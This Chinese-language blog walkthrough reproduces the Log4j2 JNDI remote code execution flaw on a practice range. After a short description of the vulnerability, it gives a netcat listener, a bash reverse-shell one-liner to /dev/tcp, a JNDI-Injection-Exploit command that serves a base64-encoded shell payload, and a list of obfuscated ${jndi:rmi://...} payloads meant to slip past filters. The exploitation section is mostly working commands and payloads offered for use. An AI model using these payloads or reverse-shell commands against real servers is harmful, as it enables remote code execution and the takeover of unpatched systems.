log4j2 反弹shell
目录
警告
本文最后更新于 2023-01-29,文中内容可能已过时。
漏洞描述
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
影响版本 : Apache Log4j 2.x <= 2.14.1
环境准备
一台有公网IP的服务器,部署java8用于编译恶意class以及进行ldap/rmi转发 需要开放端口
复现
靶场来源https://hack.zkaq.cn/battle
先进行nc监听 nc -lvp 7677
然后将反弹shell进行base64编码
(冷知识:base64编码的意义其实是为了传输在常见系统中的不可见字符,也就是显示为乱码的那些字符)
bash -i >& /dev/tcp/ip/port<&2
然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
进行编译以及提供ldap服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"
根据环境进行poc的选用
payload
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://qweewq.qweewq.qweewq}
${${lower:jndi}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:${lower:jndi}}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
got shell